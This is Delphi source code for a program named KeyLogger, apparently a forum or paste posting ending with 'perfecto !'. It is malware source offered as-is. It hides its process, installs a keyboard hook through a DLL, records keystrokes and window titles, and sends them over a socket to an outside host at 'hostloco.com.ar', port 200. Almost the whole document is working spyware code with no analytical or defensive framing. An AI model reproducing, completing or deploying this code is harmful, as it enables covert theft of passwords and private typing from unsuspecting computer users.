program KeyLogger;
uses
Windows,
Messages,
SysUtils,
ScktComp;
{$DEFINE TICKET}
const
DLLName = 'wingets.dll';
CM_WH_BASE = WM_USER + $1234;
CM_WH_KEYBOARD = CM_WH_BASE;
CM_WH_WNDMESSAGE = CM_WH_BASE + 1;
BUFFER_SIZE = 100;
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
THookProcedure = Procedure; stdcall;
TPortCheckClass = class(TObject)
public
procedure OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
end;
procedure HideApp;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
if Win32Platform = VER_PLATFORM_WIN32s Then
begin
hNdl := LoadLibrary(kernel32);
try
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
finally
FreeLibrary(hNdl);
end;
end;
end;
function WindowProc(hWnd: HWND; uMsg: UINT; wParam: WPARAM; lParam: LPARAM ): LRESULT; stdcall;
begin
Result := 0;
case uMsg of
WM_DESTROY:
Halt;
else
Result := DefWindowProc(hWnd, uMsg, wParam, lParam);
end;
end;
Procedure TPortCheckClass.OnError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer);
Begin
ErrorCode := 0;
end;
var
hInst: LongWord;
WinClass: TWndClass;
Handle,
hCurrentWnd: HWND;
Msg: TMsg;
DLLHandle,
hLogFile,
FileMap: THandle;
StartHook,
EndHook: THookProcedure;
Reciever: ^Integer;
PText: PByteArray;
TextSize,
BytesWritten: DWORD;
Cliente: TClientSocket;
S: string;
I:Integer;
PortCheck: TPortCheckClass;
begin
Cliente := TClientSocket.create(nil);
Cliente.OnError := PortCheck.OnError;
with Cliente do
begin
Host := 'hostloco.com.ar';
ClientType := ctBlocking;
Port := 200;
try
Open;
Active := True;
finally
end;
end;
Try
HideApp;
hInst := hInstance;
hCurrentWnd := 0;
with WinClass do
begin
Style := CS_CLASSDC or CS_PARENTDC;
lpfnWndProc := nil;
lpfnWndProc := @WindowProc;
hInstance := hInst;
hbrBackground := COLOR_BTNFACE + 1; lpszClassname := 'Logger';
hCursor := LoadCursor(0, IDC_ARROW);
end;
if Windows.RegisterClass(WinClass) <> 0 then
begin
Handle := CreateWindowEx(WS_EX_WINDOWEDGE,
WinClass.lpszClassName, WinClass.lpszClassName,
{$IFDEF DEBUG}WS_VISIBLE+{$ENDIF}WS_OVERLAPPED,
0, 0, 0, 0, 0, 0, hInstance, nil);
if Handle <> 0 Then
begin
DLLHandle := LoadLibrary(DLLName);
if (DLLHandle <> 0) then
try
@StartHook := GetProcAddress(DLLHandle, 'Start');
@EndHook := GetProcAddress(DLLHandle, 'End');
if Assigned(StartHook) and Assigned(EndHook) then
begin
if Cliente.Active then
try
SetFilePointer(hLogFile, 0, Nil, FILE_END);
FileMap := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(Integer), 'KeyReciever');
if (FileMap <> 0) then
try
Reciever := MapViewOfFile(FileMap, FILE_MAP_WRITE, 0, 0, 0);
Reciever^ := Handle;
GetMem(PText, BUFFER_SIZE);
try
StartHook;
try
while(GetMessage(Msg, Handle, 0, 0)) do
begin
case Msg.message of
WM_DESTROY, WM_CLOSE:
Break;
CM_WH_KEYBOARD:
if ((Msg.lParam shr 31) and 1) <> 1 then
begin
if hCurrentWnd <> 0 then
begin
TextSize := GetWindowText(hCurrentWnd, Pointer(PText), BUFFER_SIZE);
hCurrentWnd := 0;
if TextSize > 0 then
begin
Move(PText[0], PText[3], TextSize);
PText^[0] := 13;
PText^[1] := 10;
PText^[2] := 123;
TextSize := TextSize + 6;
PText^[TextSize-3] := 125;
PText^[TextSize-2] := 13;
PText^[TextSize-1] := 10;
{$IFDEF DEBUG}
SetWindowText(Handle, Pointer(PText));
{$ENDIF}
I := 0; S := ''; while I < TextSize do begin S := S + Char(PText[i]); Inc(I); end;
Cliente.Socket.SendText(S);
end;
end;
if LoWord(Msg.wParam) = 13 then
begin
PText^[0] := 13;
PText^[1] := 10;
TextSize := 2;
end else
if LoWord(Msg.wParam) = 32 then
begin
PText^[0] := 32;
TextSize := 1;
end else
begin
TextSize := GetKeyNameText(Msg.LParam, Pointer(PText), BUFFER_SIZE);
if TextSize > 1 then
begin
Move(PText[0], PText[1], TextSize);
PText^[0] := 91;
TextSize := TextSize + 2;
PText^[TextSize-1] := 93;
end;
{$IFDEF DEBUG}
PText^[TextSize] := 0;
SetWindowText(Handle, Pointer(PText));
{$ENDIF}
end;
I := 0; S := ''; while I < TextSize do begin S := S + Char(PText[i]); Inc(I); end;
Cliente.Socket.SendText(S);
end;
CM_WH_WNDMESSAGE:
begin
hCurrentWnd := Msg.wParam;
end;
WM_MOUSEMOVE,
WM_LBUTTONDOWN, WM_LBUTTONUP, WM_LBUTTONDBLCLK,
WM_RBUTTONDOWN, WM_RBUTTONUP, WM_RBUTTONDBLCLK,
WM_MBUTTONDOWN, WM_MBUTTONUP, WM_MBUTTONDBLCLK,
WM_MOUSEWHEEL:
begin
{$IFDEF TICKET}
S := '';
{$ENDIF}
PText^[0] := Ord('<');
case Msg.message of
WM_MOUSEMOVE:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('M');
end;
WM_LBUTTONDOWN:
begin
PText^[1] := Ord('L');
PText^[2] := Ord('D');
end;
WM_LBUTTONUP:
begin
PText^[1] := Ord('L');
PText^[2] := Ord('U');
end;
WM_LBUTTONDBLCLK:
begin
PText^[1] := Ord('L');
PText^[2] := Ord('D');
end;
WM_RBUTTONDOWN:
begin
PText^[1] := Ord('R');
PText^[2] := Ord('D');
end;
WM_RBUTTONUP:
begin
PText^[1] := Ord('R');
PText^[2] := Ord('U');
end;
WM_RBUTTONDBLCLK:
begin
PText^[1] := Ord('R');
PText^[2] := Ord('D');
end;
WM_MBUTTONDOWN:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('D');
end;
WM_MBUTTONUP:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('U');
end;
WM_MBUTTONDBLCLK:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('U');
end;
WM_MOUSEWHEEL:
begin
PText^[1] := Ord('M');
PText^[2] := Ord('W');
end;
end;
PText^[3] := Ord(';');
S := '';
{$IFDEF TICKET}
PText^[0] := 13;
PText^[1] := 10;
I := 0; S := ''; while I < 2 do begin S := S + Char(PText[i]); Inc(I); end;
Cliente.Socket.SendText(S);
{$ENDIF}
end;
end;
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
finally
EndHook;
end;
finally
FreeMem(PText, BUFFER_SIZE);
end;
finally
UnmapViewOfFile(Reciever);
CloseHandle(FileMap);
end;
finally
Cliente.Free;
end;
end;
finally
FreeLibrary(DLLHandle);
end;
end;
end;
except
{$IFDEF DEBUG}
raise;
{$ENDIF}
end;
end.
perfecto !